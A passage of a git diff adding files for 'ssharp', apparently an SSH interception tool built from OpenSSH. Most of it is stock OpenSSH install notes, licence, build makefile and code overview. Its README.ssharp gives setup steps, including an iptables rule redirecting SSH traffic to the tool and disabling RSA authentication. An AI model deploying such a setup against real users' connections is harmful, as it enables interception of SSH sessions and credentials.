+--without-lastlog will disable lastlog support entirely. + +--with-kerberos4=PATH will enable Kerberos IV support. You will need +to have the Kerberos libraries and header files installed for this +to work. Use the optional PATH argument to specify the root of your +Kerberos installation. + +--with-afs=PATH will enable AFS support. You will need to have the +Kerberos IV and the AFS libraries and header files installed for this +to work. Use the optional PATH argument to specify the root of your +AFS installation. AFS requires Kerberos support to be enabled. + +--with-skey=PATH will enable S/Key one time password support. You will +need the S/Key libraries and header files installed for this to work. + +--with-tcp-wrappers will enable TCP Wrappers (/etc/hosts.allow|deny) +support. You will need libwrap.a and tcpd.h installed. + +--with-md5-passwords will enable the use of MD5 passwords. Enable this +if your operating system uses MD5 passwords without using PAM. + +--with-utmpx enables utmpx support. utmpx support is automatic for +some platforms. + +--without-shadow disables shadow password support. + +--with-ipaddr-display forces the use of a numeric IP address in the +$DISPLAY environment variable. Some broken systems need this. + +--with-default-path=PATH allows you to specify a default $PATH for sessions +started by sshd. This replaces the standard path entirely. + +--with-pid-dir=PATH specifies the directory in which the ssh.pid file is +created. + +--with-xauth=PATH specifies the location of the xauth binary + +--with-ipv4-default instructs OpenSSH to use IPv4 by default for new +connections. Normally OpenSSH will try attempt to lookup both IPv6 and +IPv4 addresses. On Linux/glibc-2.1.2 this causes long delays in name +resolution. If this option is specified, you can still attempt to +connect to IPv6 addresses using the command line option '-6'. + +--with-ssl-dir=DIR allows you to specify where your OpenSSL libraries +are installed. + +--with-4in6 Check for IPv4 in IPv6 mapped addresses and convert them to +real (AF_INET) IPv4 addresses. Works around some quirks on Linux. + +If you need to pass special options to the compiler or linker, you +can specify these as environment variables before running ./configure. +For example: + +CFLAGS="-O -m486" LDFLAGS="-s" LIBS="-lrubbish" LD="/usr/foo/ld" ./configure + +3. Configuration +---------------- + +The runtime configuration files are installed by in ${prefix}/etc or +whatever you specified as your --sysconfdir (/usr/local/etc by default). + +The default configuration should be instantly usable, though you should +review it to ensure that it matches your security requirements. + +To generate a host key, run "make host-key". Alternately you can do so +manually using the following commands: + + ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key -N "" + ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key -N "" + ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key -N "" + +Replacing /etc/ssh with the correct path to the configuration directory. +(${prefix}/etc or whatever you specified with --sysconfdir during +configuration) + +If you have configured OpenSSH with EGD support, ensure that EGD is +running and has collected some Entropy. + +For more information on configuration, please refer to the manual pages +for sshd, ssh and ssh-agent. + +4. Problems? +------------ + +If you experience problems compiling, installing or running OpenSSH. +Please refer to the "reporting bugs" section of the webpage at +http://www.openssh.com/ + + +$Id: INSTALL,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ diff --git a/other/ssharp/LICENCE b/other/ssharp/LICENCE new file mode 100644 index 0000000..f60f502 --- /dev/null +++ b/other/ssharp/LICENCE @@ -0,0 +1,136 @@ +This file is part of the OpenSSH software. + +The licences which components of this software fall under are as +follows. First, we will summarize and say that all components +are under a BSD licence, or a licence more free than that. + +OpenSSH contains no GPL code. + +1) + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + + [Tatu continues] + * However, I am not implying to give any licenses to any patents or + * copyrights held by third parties, and the software includes parts that + * are not under my direct control. As far as I know, all included + * source code is used in accordance with the relevant license agreements + * and can be used freely for any purpose (the GNU license being the most + * restrictive); see below for details. + + [However, none of that term is relevant at this point in time. All of + these restrictively licenced software components which he talks about + have been removed from OpenSSH, ie. + + - RSA is no longer included, found in the OpenSSL library + - IDEA is no longer included, its use is deprecated + - DES is now external, in the OpenSSL library + - GMP is no longer used, and instead we call BN code from OpenSSL + - Zlib is now external, in a library + - The make-ssh-known-hosts script is no longer included + - TSS has been removed + - MD5 is now external, in the OpenSSL library + - RC4 support has been replaced with ARC4 support from OpenSSL + - Blowfish is now external, in the OpenSSL library + + [The licence continues] + + Note that any information and cryptographic algorithms used in this + software are publicly available on the Internet and at any major + bookstore, scientific library, and patent office worldwide. More + information can be found e.g. at "http://www.cs.hut.fi/crypto". + + The legal status of this program is some combination of all these + permissions and restrictions. Use only at your own responsibility. + You will be responsible for any legal consequences yourself; I am not + making any claims whether possessing or using this is legal or not in + your country, and I am not taking any responsibility on your behalf. + + + NO WARRANTY + + BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY + FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN + OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES + PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED + OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS + TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE + PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, + REPAIR OR CORRECTION. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING + WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR + REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, + INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING + OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED + TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY + YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER + PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE + POSSIBILITY OF SUCH DAMAGES. + +2) + The 32-bit CRC implementation in crc32.c is due to Gary S. Brown. + Comments in the file indicate it may be used for any purpose without + restrictions: + + * COPYRIGHT (C) 1986 Gary S. Brown. You may use this program, or + * code or tables extracted from it, as desired without restriction. + +3) + The 32-bit CRC compensation attack detector in deattack.c was + contributed by CORE SDI S.A. under a BSD-style license. See + http://www.core-sdi.com/english/ssh/ for details. + + * Cryptographic attack detector for ssh - source code + * + * Copyright (c) 1998 CORE SDI S.A., Buenos Aires, Argentina. + * + * All rights reserved. Redistribution and use in source and binary + * forms, with or without modification, are permitted provided that + * this copyright notice is retained. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED + * WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR + * CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF THIS + * SOFTWARE. + * + * Ariel Futoransky + * + +4) + Remaining components of the software are provided under a standard + 2-term BSD licence with the following names as copyright holders: + + Markus Friedl + Theo de Raadt + Niels Provos + Dug Song + Aaron Campbell + + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/other/ssharp/Makefile.in b/other/ssharp/Makefile.in new file mode 100644 index 0000000..a78895d --- /dev/null +++ b/other/ssharp/Makefile.in @@ -0,0 +1,260 @@ +# $Id: Makefile.in,v 1.4 2002/05/05 12:32:07 stealth Exp $ + +prefix=@prefix@ +exec_prefix=@exec_prefix@ +bindir=@bindir@ +sbindir=@sbindir@ +libexecdir=@libexecdir@ +mandir=@mandir@ +mansubdir=@mansubdir@ +sysconfdir=@sysconfdir@ +piddir=@piddir@ +srcdir=@srcdir@ +top_srcdir=@top_srcdir@ + +DESTDIR= +VPATH=@srcdir@ +SSH_PROGRAM=@bindir@/ssh +ASKPASS_PROGRAM=$(libexecdir)/ssh-askpass +SFTP_SERVER=$(libexecdir)/sftp-server + +PATHS= -DETCDIR=\"$(sysconfdir)\" \ + -D_PATH_SSH_PROGRAM=\"$(SSH_PROGRAM)\" \ + -D_PATH_SSH_ASKPASS_DEFAULT=\"$(ASKPASS_PROGRAM)\" \ + -D_PATH_SFTP_SERVER=\"$(SFTP_SERVER)\" \ + -D_PATH_SSH_PIDDIR=\"$(piddir)\" + +CC=@CC@ +LD=@LD@ +CFLAGS=@CFLAGS@ +CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@ +LIBS=@LIBS@ +AR=@AR@ +RANLIB=@RANLIB@ +INSTALL=@INSTALL@ +PERL=@PERL@ +ENT=@ENT@ +XAUTH_PATH=@XAUTH_PATH@ +LDFLAGS=-L. -Lopenbsd-compat/ @LDFLAGS@ +EXEEXT=@EXEEXT@ +SSH_MODE= @SSHMODE@ + +INSTALL_SSH_PRNG_CMDS=@INSTALL_SSH_PRNG_CMDS@ + +@NO_SFTP@SFTP_PROGS=sftp-server$(EXEEXT) sftp$(EXEEXT) + +TARGETS=ssh$(EXEEXT) sshd$(EXEEXT) + +LIBSSH_OBJS=atomicio.o authfd.o authfile.o bufaux.o buffer.o canohost.o channels.o cipher.o cli.o compat.o compress.o crc32.o deattack.o dh.o dispatch.o mac.o hostfile.o key.o kex.o kexdh.o kexgex.o log.o match.o misc.o mpaux.o nchan.o packet.o radix.o rijndael.o entropy.o readpass.o rsa.o ssh-dss.o ssh-rsa.o tildexpand.o ttymodes.o uidswap.o uuencode.o xmalloc.o ssharp.o + +SSHOBJS= ssh.o sshconnect.o sshconnect1.o sshconnect2.o sshtty.o readconf.o clientloop.o + +SSHDOBJS= sshd.o auth.o auth1.o auth2.o auth-chall.o auth2-chall.o auth-options.o auth-krb4.o auth-pam.o auth2-pam.o auth-passwd.o auth-rsa.o auth-sia.o sshpty.o sshlogin.o loginrec.o servconf.o serverloop.o md5crypt.o session.o groupaccess.o + +MANPAGES = scp.1.out ssh-add.1.out ssh-agent.1.out ssh-keygen.1.out ssh-keyscan.1.out ssh.1.out sshd.8.out sftp-server.8.out sftp.1.out +MANPAGES_IN = scp.1 ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh-keyscan.1 ssh.1 sshd.8 sftp-server.8 sftp.1 +MANTYPE = @MANTYPE@ + +CONFIGFILES=sshd_config.out ssh_config.out primes.out +CONFIGFILES_IN=sshd_config ssh_config primes + +PATHSUBS = \ + -D/etc/ssh_config=$(sysconfdir)/ssh_config \ + -D/etc/ssh_known_hosts=$(sysconfdir)/ssh_known_hosts \ + -D/etc/sshd_config=$(sysconfdir)/sshd_config \ + -D/usr/libexec=$(libexecdir) \ + -D/etc/shosts.equiv=$(sysconfdir)/shosts.equiv \ + -D/etc/ssh_host_key=$(sysconfdir)/ssh_host_key \ + -D/etc/ssh_host_dsa_key=$(sysconfdir)/ssh_host_dsa_key \ + -D/etc/ssh_host_rsa_key=$(sysconfdir)/ssh_host_rsa_key \ + -D/var/run/sshd.pid=$(piddir)/sshd.pid \ + -D/etc/primes=$(sysconfdir)/primes \ + -D/etc/sshrc=$(sysconfdir)/sshrc \ + -D/usr/X11R6/bin/xauth=$(XAUTH_PATH) \ + -D/usr/bin:/bin:/usr/sbin:/sbin=@user_path@ + +FIXPATHSCMD = $(PERL) $(srcdir)/fixpaths $(PATHSUBS) + +all: $(CONFIGFILES) $(MANPAGES) $(TARGETS) + +$(LIBSSH_OBJS): config.h +$(SSHOBJS): config.h +$(SSHDOBJS): config.h + +.c.o: + $(CC) $(CFLAGS) $(CPPFLAGS) -c $< + +LIBCOMPAT=openbsd-compat/libopenbsd-compat.a +$(LIBCOMPAT): config.h + (cd openbsd-compat; $(MAKE)) + +libssh.a: $(LIBSSH_OBJS) + $(AR) rv $@ $(LIBSSH_OBJS) + $(RANLIB) $@ + +ssh$(EXEEXT): $(LIBCOMPAT) libssh.a $(SSHOBJS) + $(LD) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +sshd$(EXEEXT): libssh.a $(LIBCOMPAT) $(SSHDOBJS) + $(LD) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +scp$(EXEEXT): $(LIBCOMPAT) libssh.a scp.o scp-common.o + $(LD) -o $@ scp.o scp-common.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-add$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-add.o + $(LD) -o $@ ssh-add.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-agent$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-agent.o + $(LD) -o $@ ssh-agent.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-keygen$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keygen.o + $(LD) -o $@ ssh-keygen.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-keyscan$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keyscan.o + $(LD) -o $@ ssh-keyscan.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +sftp-server$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-common.o sftp-server.o + $(LD) -o $@ sftp-server.o sftp-common.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +sftp$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-client.o sftp-int.o sftp-common.o sftp-glob.o scp-common.o + $(LD) -o $@ sftp.o sftp-client.o sftp-common.o sftp-int.o sftp-glob.o scp-common.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +# test driver for the loginrec code - not built by default +logintest: logintest.o $(LIBCOMPAT) libssh.a loginrec.o + $(LD) -o $@ logintest.o $(LDFLAGS) loginrec.o -lopenbsd-compat -lssh $(LIBS) + +$(MANPAGES): $(MANPAGES_IN) + if test "$(MANTYPE)" = "cat"; then \ + manpage=$(srcdir)/`echo $@ | sed 's/\.[1-9]\.out$$/\.0/'`; \ + else \ + manpage=$(srcdir)/`echo $@ | sed 's/\.out$$//'`; \ + fi; \ + if test "$(MANTYPE)" = "man"; then \ + $(FIXPATHSCMD) $${manpage} | $(PERL) $(srcdir)/mdoc2man.pl > $@; \ + else \ + $(FIXPATHSCMD) $${manpage} > $@; \ + fi + +$(CONFIGFILES): $(CONFIGFILES_IN) + conffile=`echo $@ | sed 's/.out$$//'`; \ + $(FIXPATHSCMD) $(srcdir)/$${conffile} > $@ + +clean: + (cd openbsd-compat; $(MAKE) clean) + rm -f *.o *.a $(TARGETS) logintest config.cache config.log + rm -f *.out core + +distclean: clean + (cd openbsd-compat; $(MAKE) distclean) + rm -f Makefile config.h config.status ssh_prng_cmds *~ + +mrproper: distclean + +veryclean: distclean + rm -f configure config.h.in *.0 + +catman-do: + @for f in $(MANPAGES_IN) ; do \ + base=`echo $$f | sed 's/\..*$$//'` ; \ + echo "$$f -> $$base.0" ; \ + nroff -mandoc $$f | cat -v | sed -e 's/.\^H//g' \ + >$$base.0 ; \ + done + +distprep: catman-do + autoreconf + +install: $(TARGETS) install-files host-key + +install-files: + $(srcdir)/mkinstalldirs $(DESTDIR)$(bindir) + $(srcdir)/mkinstalldirs $(DESTDIR)$(sbindir) + $(srcdir)/mkinstalldirs $(DESTDIR)$(mandir) + $(srcdir)/mkinstalldirs $(DESTDIR)$(mandir)/$(mansubdir)1 + $(srcdir)/mkinstalldirs $(DESTDIR)$(mandir)/$(mansubdir)8 + $(srcdir)/mkinstalldirs $(DESTDIR)$(libexecdir) + $(INSTALL) -m 0755 -s sshd $(DESTDIR)$(sbindir)/sshd + if [ ! -d $(DESTDIR)$(sysconfdir) ]; then \ + $(srcdir)/mkinstalldirs $(DESTDIR)$(sysconfdir); \ + fi + if [ ! -f $(DESTDIR)$(sysconfdir)/ssh_config ]; then \ + $(INSTALL) -m 644 ssh_config.out $(DESTDIR)$(sysconfdir)/ssh_config; \ + else \ + echo "$(DESTDIR)$(sysconfdir)/ssh_config already exists, install will not overwrite"; \ + fi + if [ ! -f $(DESTDIR)$(sysconfdir)/sshd_config ]; then \ + $(INSTALL) -m 644 sshd_config.out $(DESTDIR)$(sysconfdir)/sshd_config; \ + else \ + echo "$(DESTDIR)$(sysconfdir)/sshd_config already exists, install will not overwrite"; \ + fi + if [ -f ssh_prng_cmds -a ! -z "$(INSTALL_SSH_PRNG_CMDS)" ]; then \ + $(PERL) $(srcdir)/fixprogs ssh_prng_cmds $(ENT); \ + if [ ! -f $(DESTDIR)$(sysconfdir)/ssh_prng_cmds ] ; then \ + $(INSTALL) -m 644 ssh_prng_cmds.out $(DESTDIR)$(sysconfdir)/ssh_prng_cmds; \ + else \ + echo "$(DESTDIR)$(sysconfdir)/ssh_prng_cmds already exists, install will not overwrite"; \ + fi ; \ + fi + if [ ! -f $(DESTDIR)$(sysconfdir)/primes ]; then \ + $(INSTALL) -m 644 primes.out $(DESTDIR)$(sysconfdir)/primes; \ + else \ + echo "$(DESTDIR)$(sysconfdir)/primes already exists, install will not overwrite"; \ + fi + +host-key: ssh-keygen$(EXEEXT) + if [ -z "$(DESTDIR)" ] ; then \ + if [ -f "$(DESTDIR)$(sysconfdir)/ssh_host_key" ] ; then \ + echo "$(DESTDIR)$(sysconfdir)/ssh_host_key already exists, skipping." ; \ + else \ + ./ssh-keygen -t rsa1 -f $(DESTDIR)$(sysconfdir)/ssh_host_key -N "" ; \ + fi ; \ + if [ -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key ] ; then \ + echo "$(DESTDIR)$(sysconfdir)/ssh_host_dsa_key already exists, skipping." ; \ + else \ + ./ssh-keygen -t dsa -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key -N "" ; \ + fi ; \ + if [ -f $(DESTDIR)$(sysconfdir)/ssh_host_rsa_key ] ; then \ + echo "$(DESTDIR)$(sysconfdir)/ssh_host_rsa_key already exists, skipping." ; \ + else \ + ./ssh-keygen -t rsa -f $(DESTDIR)$(sysconfdir)/ssh_host_rsa_key -N "" ; \ + fi ; \ + fi ; + +host-key-force: ssh-keygen$(EXEEXT) + ./ssh-keygen -t rsa1 -f $(DESTDIR)$(sysconfdir)/ssh_host_key -N "" + ./ssh-keygen -t dsa -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key -N "" + ./ssh-keygen -t rsa -f $(DESTDIR)$(sysconfdir)/ssh_host_rsa_key -N "" + +uninstallall: uninstall + -rm -f $(DESTDIR)$(sysconfdir)/ssh_config + -rm -f $(DESTDIR)$(sysconfdir)/sshd_config + -rm -f $(DESTDIR)$(sysconfdir)/ssh_prng_cmds + -rmdir $(DESTDIR)$(sysconfdir) + -rmdir $(DESTDIR)$(bindir) + -rmdir $(DESTDIR)$(sbindir) + -rmdir $(DESTDIR)$(mandir)/$(mansubdir)1 + -rmdir $(DESTDIR)$(mandir)/$(mansubdir)8 + -rmdir $(DESTDIR)$(mandir) + -rmdir $(DESTDIR)$(libexecdir) + +uninstall: + -rm -f $(DESTDIR)$(bindir)/slogin + -rm -f $(DESTDIR)$(bindir)/ssh$(EXEEXT) + -rm -f $(DESTDIR)$(bindir)/scp$(EXEEXT) + -rm -f $(DESTDIR)$(bindir)/ssh-add$(EXEEXT) + -rm -f $(DESTDIR)$(bindir)/ssh-agent$(EXEEXT) + -rm -f $(DESTDIR)$(bindir)/ssh-keygen$(EXEEXT) + -rm -f $(DESTDIR)$(bindir)/ssh-keyscan$(EXEEXT) + -rm -f $(DESTDIR)$(bindir)/sftp$(EXEEXT) + -rm -f $(DESTDIR)$(sbindir)/sshd$(EXEEXT) + -rm -r $(DESTDIR)$(SFTP_SERVER)$(EXEEXT) + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/scp.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-add.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-agent.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-keygen.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/sftp.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-keyscan.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)8/sshd.8 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)8/sftp-server.8 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 diff --git a/other/ssharp/OVERVIEW b/other/ssharp/OVERVIEW new file mode 100644 index 0000000..7f34ac4 --- /dev/null +++ b/other/ssharp/OVERVIEW @@ -0,0 +1,164 @@ +This document is intended for those who wish to read the ssh source +code. This tries to give an overview of the structure of the code. + +Copyright (c) 1995 Tatu Ylonen +Updated 17 Nov 1995. +Updated 19 Oct 1999 for OpenSSH-1.2 + +The software consists of ssh (client), sshd (server), scp, sdist, and +the auxiliary programs ssh-keygen, ssh-agent, ssh-add, and +make-ssh-known-hosts. The main program for each of these is in a .c +file with the same name. + +There are some subsystems/abstractions that are used by a number of +these programs. + + Buffer manipulation routines + + - These provide an arbitrary size buffer, where data can be appended. + Data can be consumed from either end. The code is used heavily + throughout ssh. The basic buffer manipulation functions are in + buffer.c (header buffer.h), and additional code to manipulate specific + data types is in bufaux.c. + + Compression Library + + - Ssh uses the GNU GZIP compression library (ZLIB). + + Encryption/Decryption + + - Ssh contains several encryption algorithms. These are all + accessed through the cipher.h interface. The interface code is + in cipher.c, and the implementations are in libc. + + Multiple Precision Integer Library + + - Uses the SSLeay BIGNUM sublibrary. + - Some auxiliary functions for mp-int manipulation are in mpaux.c. + + Random Numbers + + - Uses arc4random() and such. + + RSA key generation, encryption, decryption + + - Ssh uses the RSA routines in libssl. + + RSA key files + + - RSA keys are stored in files with a special format. The code to + read/write these files is in authfile.c. The files are normally + encrypted with a passphrase. The functions to read passphrases + are in readpass.c (the same code is used to read passwords). + + Binary packet protocol + + - The ssh binary packet protocol is implemented in packet.c. The + code in packet.c does not concern itself with packet types or their + execution; it contains code to build packets, to receive them and + extract data from them, and the code to compress and/or encrypt + packets. CRC code comes from crc32.c. + + - The code in packet.c calls the buffer manipulation routines + (buffer.c, bufaux.c), compression routines (compress.c, zlib), + and the encryption routines. + + X11, TCP/IP, and Agent forwarding + + - Code for various types of channel forwarding is in channels.c. + The file defines a generic framework for arbitrary communication + channels inside the secure channel, and uses this framework to + implement X11 forwarding, TCP/IP forwarding, and authentication + agent forwarding. + The new, Protocol 1.5, channel close implementation is in nchan.c + + Authentication agent + + - Code to communicate with the authentication agent is in authfd.c. + + Authentication methods + + - Code for various authentication methods resides in auth-*.c + (auth-passwd.c, auth-rh-rsa.c, auth-rhosts.c, auth-rsa.c). This + code is linked into the server. The routines also manipulate + known hosts files using code in hostfile.c. Code in canohost.c + is used to retrieve the canonical host name of the remote host. + Code in match.c is used to match host names. + + - In the client end, authentication code is in sshconnect.c. It + reads Passwords/passphrases using code in readpass.c. It reads + RSA key files with authfile.c. It communicates the + authentication agent using authfd.c. + + The ssh client + + - The client main program is in ssh.c. It first parses arguments + and reads configuration (readconf.c), then calls ssh_connect (in + sshconnect.c) to open a connection to the server (possibly via a + proxy), and performs authentication (ssh_login in sshconnect.c). + It then makes any pty, forwarding, etc. requests. It may call + code in ttymodes.c to encode current tty modes. Finally it + calls client_loop in clientloop.c. This does the real work for + the session. + + - The client is suid root. It tries to temporarily give up this + rights while reading the configuration data. The root + privileges are only used to make the connection (from a + privileged socket). Any extra privileges are dropped before + calling ssh_login. + + Pseudo-tty manipulation and tty modes + + - Code to allocate and use a pseudo tty is in pty.c. Code to + encode and set terminal modes is in ttymodes.c. + + Logging in (updating utmp, lastlog, etc.) + + - The code to do things that are done when a user logs in are in + login.c. This includes things such as updating the utmp, wtmp, + and lastlog files. Some of the code is in sshd.c. + + Writing to the system log and terminal + + - The programs use the functions fatal(), log(), debug(), error() + in many places to write messages to system log or user's + terminal. The implementation that logs to system log is in + log-server.c; it is used in the server program. The other + programs use an implementation that sends output to stderr; it + is in log-client.c. The definitions are in ssh.h. + + The sshd server (daemon) + + - The sshd daemon starts by processing arguments and reading the + configuration file (servconf.c). It then reads the host key, + starts listening for connections, and generates the server key. + The server key will be regenerated every hour by an alarm. + + - When the server receives a connection, it forks, disables the + regeneration alarm, and starts communicating with the client. + They first perform identification string exchange, then + negotiate encryption, then perform authentication, preparatory + operations, and finally the server enters the normal session + mode by calling server_loop in serverloop.c. This does the real + work, calling functions in other modules. + + - The code for the server is in sshd.c. It contains a lot of + stuff, including: + - server main program + - waiting for connections + - processing new connection + - authentication + - preparatory operations + - building up the execution environment for the user program + - starting the user program. + + Auxiliary files + + - There are several other files in the distribution that contain + various auxiliary routines: + ssh.h the main header file for ssh (various definitions) + getput.h byte-order independent storage of integers + includes.h includes most system headers. Lots of #ifdefs. + tildexpand.c expand tilde in file names + uidswap.c uid-swapping + xmalloc.c "safe" malloc routines diff --git a/other/ssharp/README b/other/ssharp/README new file mode 100644 index 0000000..ec8376d --- /dev/null +++ b/other/ssharp/README @@ -0,0 +1,66 @@ +- A Japanese translation of this document and of the OpenSSH FAQ is +- available at http://www.unixuser.org/~haruyama/security/openssh/index.html +- Thanks to HARUYAMA Seigo + +This is the port of OpenBSD's excellent OpenSSH[0] to Linux and other +Unices. + +OpenSSH is based on the last free version of Tatu Ylonen's sample +implementation with all patent-encumbered algorithms removed (to +external libraries), all known security bugs fixed, new features +reintroduced and many other clean-ups. OpenSSH has been created by +Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo de Raadt, +and Dug Song. It has a homepage at http://www.openssh.com/ + +This port consists of the re-introduction of autoconf support, PAM +support (for Linux and Solaris), EGD[1]/PRNGD[2] support and replacements +for OpenBSD library functions that are (regrettably) absent from other +unices. This port has been best tested on Linux, Solaris, HP-UX, NetBSD +and Irix. Support for AIX, SCO, NeXT and other Unices is underway. +This version actively tracks changes in the OpenBSD CVS repository. + +The PAM support is now more functional than the popular packages of +commercial ssh-1.2.x. It checks "account" and "session" modules for +all logins, not just when using password authentication. + +OpenSSH depends on Zlib[3], OpenSSL[4] and optionally PAM[5]. + +There is now several mailing lists for this port of OpenSSH. Please +refer to http://www.openssh.com/list.html for details on how to join. + +Please send bug reports and patches to the mailing list +openssh-unix-dev@mindrot.org. The list is open to posting by +unsubscribed users. + +If you are a citizen of an USA-embargoed country to which export of +cryptographic products is restricted, then please refrain from sending +crypto-related code or patches to the list. We cannot accept them. +Other code contribution are accepted, but please follow the OpenBSD +style guidelines[6]. + +Please refer to the INSTALL document for information on how to install +OpenSSH on your system. There are a number of differences between this +port of OpenSSH and F-Secure SSH 1.x, please refer to the OpenSSH FAQ[7] +for details and general tips. + +Damien Miller + +Miscellania - + +This version of OpenSSH is based upon code retrieved from the OpenBSD +CVS repository which in turn was based on the last free sample +implementation released by Tatu Ylonen. + +References - + +[0] http://www.openssh.com/faq.html +[1] http://www.lothar.com/tech/crypto/ +[2] http://www.aet.tu-cottbus.de/personen/jaenicke/postfix_tls/prngd.html +[3] ftp://ftp.freesoftware.com/pub/infozip/zlib/ +[4] http://www.openssl.org/ +[5] http://www.kernel.org/pub/linux/libs/pam/ (PAM is standard on Solaris + and HP-UX 11) +[6] http://www.openbsd.org/cgi-bin/man.cgi?query=style&sektion=9 +[7] http://www.openssh.com/faq.html + +$Id: README,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ diff --git a/other/ssharp/README.ssharp b/other/ssharp/README.ssharp new file mode 100644 index 0000000..33f1e6e --- /dev/null +++ b/other/ssharp/README.ssharp @@ -0,0 +1,81 @@ +HOWTO +===== + +1. + +Think! Only YOU are responsible for your own actions. + +Ssharp is provided 'AS IS' without any warranty. +It is for educational and demonstration purposes only. +The author is not responsible for any damage you might cause +when using it. +Ssharp is NOT for free distribution. It is derived from +a BSD-like licensed software and you are NOT allowed to +distribute it. + + +2. + +Prefered prefix is /usr/local. + +(Edit ssharp.h to fit your OS and paths if needed) +# configure; make ssh; make +# make install + +3. + +# cp ssh /usr/local/bin/ssharpclient (or whatever your path is) + +(Assuming you already have a sshd package installed; make sure +ssharp can find its hostkeys etc.) + +Disable RSA authentication. + +4. + +For localhost testing: + +# iptables -t nat -A OUTPUT -p tcp --sport 1000:5000 --dport 22 -j REDIRECT\ + --to-port 10000 + 